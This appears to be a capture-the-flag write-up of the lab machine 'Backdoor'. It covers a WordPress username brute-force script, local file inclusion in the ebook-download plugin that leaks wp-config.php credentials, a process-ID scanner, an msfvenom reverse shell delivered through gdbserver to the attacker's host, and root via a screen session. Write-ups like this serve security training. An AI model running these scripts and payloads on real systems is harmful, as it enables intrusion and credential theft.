Footprinting
Open ports
Nmap SYN scan:
$ sudo nmap -sS -p- -Pn -v10 -oA syn_full 10.10.11.125
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
1337/tcp open waste syn-ack ttl 63
$ sudo nmap -sC -sV -p80,135,445,5985 -Pn -v10 -oA nse 10.10.11.125
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqz2EAb2SBSzEIxcu+9dzgUZzDJGdCFWjwuxjhwtpq3sGiUQ1jgwf7h5BE+AlYhSX0oqoOLPKA/QHLxvJ9sYz0ijBL7aEJU8tYHchYMCMu0e8a71p3UGirTjn2tBVe3RSCo/XRQOM/ztrBzlqlKHcqMpttqJHphVA0/1dP7uoLCJlAOOWnW0K311DXkxfOiKRc2izbgfgimMDR4T1C17/oh9355TBgGGg2F7AooUpdtsahsiFItCRkvVB1G7DQiGqRTWsFaKBkHPVMQFaLEm5DK9H7PRwE+UYCah/Wp95NkwWj3u3H93p4V2y0Y6kdjF/L+BRmB44XZXm2Vu7BN0ouuT1SP3zu8YUe3FHshFIml7Ac/8zL1twLpnQ9Hv8KXnNKPoHgrU+sh35cd0JbCqyPFG5yziL8smr7Q4z9/XeATKzL4bcjG87sGtZMtB8alQS7yFA6wmqyWqLFQ4rpi2S0CoslyQnighQSwNaWuBYXvOLi6AsgckJLS44L8LxU4J8=
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIuoNkiwwo7nM8ZE767bKSHJh+RbMsbItjTbVvKK4xKMfZFHzroaLEe9a2/P1D9h2M6khvPI74azqcqnI8SUJAk=
| 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB7eoJSCw4DyNNaFftGoFcX4Ttpwf+RPo0ydNk7yfqca
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
|_http-generator: WordPress 5.8.1
1337/tcp open waste? syn-ack ttl 63
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Enumerating the web server's resources shows it contains common Wordpress directories:
$ ffuf -t 500 -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://10.10.11.125/FUZZ -fc 403 -recursion -recursion-depth 5
$ jq 'del(.results[]|select(.status==403,.status==301))|.results[]|.url' ffuf.json
"http://10.10.11.125/"
"http://10.10.11.125/wp-includes/"
"http://10.10.11.125/wp-content/"
"http://10.10.11.125/wp-admin/"
[...]
"http://10.10.11.125/wp-includes/blocks/video/"
"http://10.10.11.125/wp-admin/css/colors/"
"http://10.10.11.125/wp-admin/js/widgets/"
Down the rabbit holes
From the login page, we can brute-force the user as the error is too verbose via the following Python script:
#!/usr/bin/env python3
import requests
import sys
if __name__ == "__main__":
if len(sys.argv) < 2:
print("[-] Usage: ./main.py '<WORDLIST>'")
else:
with open(sys.argv[1], 'r') as f:
wordlist = f.read().splitlines()
url = "http://10.10.11.125/wp-login.php"
for username in wordlist:
data = {
'log': username,
'pwd': 'foo',
'wp-submit': 'Log+In',
'redirect_to': 'http://10.10.11.125/wp-admin/',
'testcookie': 1
}
cookies = dict(wordpress_test_cookie='WP%20Cookie%20check')
req = requests.post(url=url, data=data, timeout=5, cookies=cookies)
if not "is not registered on this site" in req.text:
print(f'[+] Found username: {username}')
#import pdb;pdb.set_trace()
$ ./wp_login_bf.py /usr/share/seclists/Usernames/top-usernames-shortlist.txt
[+] Found username: admin
However, the admin
's password couldn't be brute-forced using known wordlists, for example:
$ wpscan --url http://backdoor.htb/ -U admin -P /usr/share/wordlists/rockyou.txt --cookie-string "wordpress_test_cookie=WP Cookie check"
Then, I found a redirection to backdoor.htb
in the website, and added the domain name in /etc/hosts
:
$ sudo vim /etc/hosts
10.10.11.125 backdoor.htb
In the blog, there is an article written by admin
, which we discovered it exists from the login page.
LFI Plugins Exploit
Actually, I should have begin that way: looking for Wordpress plugins.
In particular, the plugin ebook-download
is vulnerable to LFI ! This allows attackers to read the files in the web server:
Indeed, the source code of the vulnerable filedownload.php
script is:
>>>
GET /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=./filedownload.php HTTP/1.1
Host: backdoor.htb
<<<
echo $ebookdownloadurl = ( isset( $_GET['ebookdownloadurl'] ) ) ? $_GET['ebookdownloadurl']: '';
echo $ebookdownloadurl = htmlspecialchars($ebookdownloadurl);
echo $ebookdownloadurl = strip_tags($ebookdownloadurl);
if($ebookdownloadurl){
$path = parse_url($ebookdownloadurl, PHP_URL_PATH);
$file_name = basename($path);
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"".$file_name."\"");
readfile($ebookdownloadurl);
}
In particular, the readfile
function processes an untrusted and unsanitized input. Indeed, its input simply comes from the ebookdownloadurl
GET parameter:
echo $ebookdownloadurl = ( isset( $_GET['ebookdownloadurl'] ) ) ? $_GET['ebookdownloadurl']: '';
[...]
readfile($ebookdownloadurl);
Therefore, we could read web server's files via that parameter we control. Among the most interesting Wordpress files to read:
/readme.html
/license.txt
/wp-content/uploads/
/wp-login.php
/wp-admin.php
/wp-config.php
/wp-settings.php
We may, for example, retrieve the wp-config.php
file, which contains the Wordpress's database credentials:
>>>
GET /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php HTTP/1.1
Host: backdoor.htb
<<<
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Content-Transfer-Encoding: Binary
Content-disposition: attachment; filename="<"
Content-Type: application/octet-stream
[...]
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
[...]
After some hours trying to escalate from LFI to RCE, I remembered the Nmap SYN scan showed that a leet
port was opened:
1337/tcp open waste syn-ack ttl 63
What is running on port 1337 ?
A service is running on port 1337. Then, using the LFI vulnerability, we must be able read the file /proc/<PID>/cmdline
file which contains the command line used to run the service.
For example, from the context of the web site, apache2
is running in the self
process. Then, its process files are stored in /proc/self
, and /proc/self/cmdline
shows that /usr/sbin/apache2
command has been used to start the web server:
>>>
GET /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/self/cmdline HTTP/1.1
Host: backdoor.htb
<<<
[...]cmdline/usr/sbin/apache2<script>window.close[...]
What about that 1337 port ? Let's brute force the PIDs !
#!/usr/bin/env python3
import requests
import re
if __name__ == "__main__":
url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php"
for pid in range(100000):
req = requests.get(url=url, params={'ebookdownloadurl':f'/proc/{pid}/cmdline'})
res = re.findall(rf".*cmdline(.*)<script>window.close.*", req.text, re.DOTALL)[0]
if res != "":
print(f'cmdline of PID {pid}: "{res}"')
I used
re.findall
function to extract the command line from the response.
$ ./cmdline_bf.py
[...]
cmdline of PID 875: "/usr/sbin/CRON-f"
cmdline of PID 894: "/bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done"
cmdline of PID 896: "/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done"
cmdline of PID 902: "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
cmdline of PID 920: "/usr/lib/accountsservice/accounts-daemon"
cmdline of PID 933: "/usr/sbin/apache2-kstart"
[...]
Here it is ! gdbserver
:p
Gdb server
We can exploit gdb to get a remote shell using msfvenom
. First, let's send the payload to the remote GDB server:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 PrependFork=true -f elf -o j4mgdbserv3r.elf
$ chmod +x j4mgdbserv3r.elf
$ gdb j4mgdbserv3r.elf
(gdb)> target extended-remote 10.10.11.125:1337
(gdb)> remote put j4mgdbserv3r.elf j4mgdbserv3r.elf
Successfully sent file "j4mgdbserv3r.elf"
I listened on port LPORT
for incoming connections:
$ nc -nlvp 4444
listening on [any] 4444 ...
Finally,executing the uploaded remote payload gives us a reverse shell !
(gdb)> set remote exec-file j4mgdbserv3r.elf
(gdb)> run
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.125] 45340
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ pwd
/home/user
Local privilege escalation
user
First, let's improve our shell:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
The user flag is stored in our home folder:
$ ls
j4mgdbserv3r.elf
user.txt
$ cat user.txt
f63[...]2ec
Down the rabbit holes
We see a MySQL server is running locally:
$ ss -tuplan |grep "127.0.0.1"
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
We can run local MySQL commands locally with the credentials we found earlier in wp-config.php
:
$ mysql -u wordpressuser --password='MQYBJSaD#DxG6qbm' -h localhost -e "SHOW DATABASES;"
mysql: [Warning] Using a password on the command line interface can be insecure.
Database
information_schema
wordpress
$ mysql -u wordpressuser --password='MQYBJSaD#DxG6qbm' -h localhost -e "USE wordpress; SELECT table_name FROM information_schema.tables;"
[...]
wp_usermeta
wp_users
The wp_users
table discloses no interesting information:
$ mysql -u wordpressuser --password='MQYBJSaD#DxG6qbm' -h localhost -e "USE wordpress; SELECT * FROM wp_users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
ID user_login user_pass user_nicename user_email user_url user_registered user_activation_key user_status display_name
1 admin $P$Bt8c3ivanSGd2TFcm3HV/9ezXPueg5. admin admin@wordpress.com http://backdoor.htb 2021-07-24 13:19:11 0 admin
Indeed, the admin's password, hashed using a Portable PHP password hashing framework, couldn't be cracked via Hascat:
$ hashcat -h |grep ' 400 '
400 | phpass | Generic KDF
$ hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
The idea here was to find the
user
's password, in order to runsudo -l
for potential privilege escalations.
Screen
The services ran by root
are:
$ ps -faux |grep ^root
[...]
root 836 0.0 0.1 6812 2892 ? Ss 15:34 0:00 /usr/sbin/cron -f
root 838 0.0 0.1 8352 3416 ? S 15:34 0:00 \_ /usr/sbin/CRON -f
root 863 0.0 0.0 2608 612 ? Ss 15:34 0:00 | \_ /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
root 3430 0.0 0.1 8404 3872 ? S 15:49 0:00 | \_ su user -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;
root 839 0.0 0.1 8352 3416 ? S 15:34 0:00 \_ /usr/sbin/CRON -f
root 860 0.0 0.0 2608 1668 ? Ss 15:34 0:00 \_ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
root 4622 0.0 0.0 5476 532 ? S 15:57 0:00 \_ sleep 1
[...]
root 907 0.0 0.9 194048 18528 ? Ss 15:34 0:00 /usr/sbin/apache2 -k start
[...]
root 970 0.0 0.1 6952 2400 ? Ss 15:34 0:00 SCREEN -dmS root
root 972 0.0 0.2 8272 5144 pts/0 Ss+ 15:34 0:00 \_ -/bin/bash
In particular, there are 2 root
cron jobs:
root 836 0.0 0.1 6812 2892 ? Ss 15:34 0:00 /usr/sbin/cron -f
root 838 0.0 0.1 8352 3416 ? S 15:34 0:00 \_ /usr/sbin/CRON -f
root 863 0.0 0.0 2608 612 ? Ss 15:34 0:00 | \_ /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
root 3430 0.0 0.1 8404 3872 ? S 15:49 0:00 | \_ su user -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;
root 839 0.0 0.1 8352 3416 ? S 15:34 0:00 \_ /usr/sbin/CRON -f
root 860 0.0 0.0 2608 1668 ? Ss 15:34 0:00 \_ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
root 4622 0.0 0.0 5476 532 ? S 15:57 0:00 \_ sleep 1
We already exploited the first one to get a reverse shell (gdbserver
). Let's have a look at the second root
process named screen
:
root 828 0.0 0.1 8356 3372 ? S 17:50 0:00 \_ /usr/sbin/CRON -f
root 852 0.0 0.0 2608 1756 ? Ss 17:50 0:00 \_ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
root 11555 0.0 0.0 5476 588 ? S 18:53 0:00 \_ sleep 1
A quick research about screen
reveals the followings:
screen
command in Linux provides the ability to launch and use multiple shell sessions from a single ssh session. When a process is started withscreen
, the process can be detached from session & then can reattach the session at a later time. When the session is detached, the process that was originally started from thescreen
is still running and managed by the screen itself. The process can then re-attach the session at a later time, and the terminals are still there, the way it was left.
Back to the cron job, it runs a screen
session named root
:
$ find /var/run/screen/S-root/ -empty -exec screen -dmS root
Let's note that screen
has the SUID bit set:
$ ls -l /usr/bin/screen
-rwsr-xr-x 1 root root 474280 Feb 23 2021 /usr/bin/screen
Nevertheless, the privilege escalation techniques in GTFOBins doesn't help.
However, this means that we may attach to some session as root
.
Screen attachment
Knowing the root
process executes:
$ screen -dmS root \;
I looked for these options in the screen
's manual:
$ man screen
-d|-D [pid.tty.host]
does not start screen, but detaches the elsewhere running screen session
-d -m Start screen in "detached" mode
-S sessionname
When creating a new session, this option can be used to specify a meaningful name for the session.
This name identifies the session for "screen -list" and "screen -r" actions. It substitutes the de‐
fault [tty.host] suffix.
$ screen -h
-dmS name Start as daemon: Screen session in detached mode.
-m ignore $STY variable, do create a new screen session.
-S sockname Name this session <pid>.sockname instead of <pid>.<tty>.<host>.
Basically, it starts the process in detached mode (-d
) with a session name of root
(-S
). In the context of our current user, no screen
session is running:
$ screen -list
No Sockets found in /run/screen/S-user.
Then, let's do some tests with our own screen
session:
$ screem -dmS jamarir
We see our session is running:
$ screen -list
There is a screen on:
25263.jamarir (<DATE>) (Detached)
1 Socket in /run/screen/S-user.
$ ls /var/run/screen/S-user
25263.jamarir
But when I tried to attach to the session, I got an error:
$ screen -r jamarir
Please set a terminal type.
This error can be solved by setting the TERM
environment variable to screen
:
$ export TERM=screen
Finally, we can attach to our session, using one of the following command:
$ screen -r jamarir
$ screen -r 25263
$ screen -r 25263.jamarir
> whoami
user
root
However, it doesn't work with the root
session :/
$ screen -r root
There is no screen to be resumed matching root.
Reading the manual again and again, I see that:
The session name must be
<PID>.<SESSION_NAME>
if a session runs multiplescreen
.
Then, I tried to replace root
by <pid>.root
:
$ alias pp='ps aux | grep ^root |grep "sleep 1" |tail -1 |sed -n "s/^\w\+\s\+\(\S\+\).*$/\1/p"'
$ screen -r $(pp).root
There is no screen to be resumed matching 22620.
Still not working !!
Let's note that the root screen
session is effectively running:
$ ls -lR /var/run/screen 2>/dev/null
/var/run/screen:
total 0
drwx------ 2 root root 60 Feb 9 18:34 S-root
drwx------ 2 user user 40 Feb 9 19:58 S-user
Looking back at the screen
options:
$ screen -h
-D -RR Do whatever is needed to get a screen session.
-r [session] Reattach to a detached screen process.
-R Reattach if possible, otherwise start a new session.
-S sockname Name this session <pid>.sockname instead of <pid>.<tty>.<host>.
-x Attach to a not detached screen. (Multi display mode).
-X Execute <cmd> as a screen command in the specified session.
We see -x
should attach to a session that is still running (i.e. not detached):
$ screen -x root
There is no screen to be attached matching 2932.root.
The manual shows there are 2 ways to connect to a screen
session:
$ man screen
SYNOPSIS
screen [ -options ] [ cmd [ args ] ]
screen -r [[pid.]tty[.host]]
screen -r sessionowner/[[pid.]tty[.host]]
The first one (using the PID) didn't work. Regarding the second method, we see -r
should at least contain sessionowner/
. In other words, the following didn't work (without /
):
$ screen -r root
There is no screen to be resumed matching root.
Whereas the following work (with /
):
$ screen -r root/
There is no screen to be resumed matching root.
Here is the root
flag :)
> ls /root
root.txt
> cat /root/root.txt
93a[...]a88